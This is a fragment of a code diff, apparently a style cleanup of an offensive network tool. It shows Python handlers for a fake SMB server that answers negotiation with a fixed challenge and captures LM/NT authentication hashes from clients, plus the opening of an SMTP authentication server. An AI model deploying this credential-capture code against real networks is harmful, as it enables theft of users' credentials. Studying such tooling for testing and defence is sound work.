||||||
Body = "\x00\x00\x00"
|
Body = "\x00\x00\x00"
|
||||||
|
|
||||||
|
@ -315,8 +270,7 @@ class SMB1(BaseRequestHandler):
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
##NT_CREATE Access Denied.
|
if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied.
|
||||||
if data[8:10] == "\xa2\x00":
|
|
||||||
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||||
Body = "\x00\x00\x00"
|
Body = "\x00\x00\x00"
|
||||||
|
|
||||||
|
@ -326,8 +280,7 @@ class SMB1(BaseRequestHandler):
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
##Trans2 Access Denied.
|
if data[8:10] == "\x25\x00": # Trans2 Access Denied.
|
||||||
if data[8:10] == "\x25\x00":
|
|
||||||
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||||
Body = "\x00\x00\x00"
|
Body = "\x00\x00\x00"
|
||||||
|
|
||||||
|
@ -337,8 +290,8 @@ class SMB1(BaseRequestHandler):
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
##LogOff.
|
|
||||||
if data[8:10] == "\x74\x00":
|
if data[8:10] == "\x74\x00": # LogOff
|
||||||
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||||
Body = "\x02\xff\x00\x27\x00\x00\x00"
|
Body = "\x02\xff\x00\x27\x00\x00\x00"
|
||||||
|
|
||||||
|
@ -351,22 +304,19 @@ class SMB1(BaseRequestHandler):
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# SMB Server class, old version
|
|
||||||
class SMB1LM(BaseRequestHandler):
|
|
||||||
|
|
||||||
|
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
self.request.settimeout(0.5)
|
self.request.settimeout(0.5)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
##session request 139
|
if data[0] == "\x81": #session request 139
|
||||||
if data[0] == "\x81":
|
|
||||||
Buffer = "\x82\x00\x00\x00"
|
Buffer = "\x82\x00\x00\x00"
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
##Negotiate proto answer.
|
if data[8:10] == "\x72\x00": #Negotiate proto answer.
|
||||||
if data[8:10] == "\x72\x00":
|
|
||||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
||||||
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
|
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
@ -375,22 +325,19 @@ class SMB1LM(BaseRequestHandler):
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
##Session Setup AndX Request
|
if data[8:10] == "\x73\x00": #Session Setup AndX Request
|
||||||
if data[8:10] == "\x73\x00":
|
|
||||||
if Is_LMNT_Anonymous(data):
|
if Is_LMNT_Anonymous(data):
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||||
Packet = str(head)+str(SMBSessEmpty())
|
Packet = str(head)+str(SMBSessEmpty())
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
ParseLMNTHash(data,self.client_address[0])
|
ParseLMNTHash(data,self.client_address[0])
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||||
Packet = str(head)+str(SMBSessEmpty())
|
Packet = str(head) + str(SMBSessEmpty())
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
self.request.close()
|
self.request.close()
|
||||||
pass
|
pass
|
|
@ -14,15 +14,11 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import os
|
|
||||||
import settings
|
|
||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
from base64 import b64decode, b64encode
|
from base64 import b64decode
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||||
|
|
||||||
# ESMTP Server class
|
|
||||||
class ESMTP(BaseRequestHandler):
|
class ESMTP(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue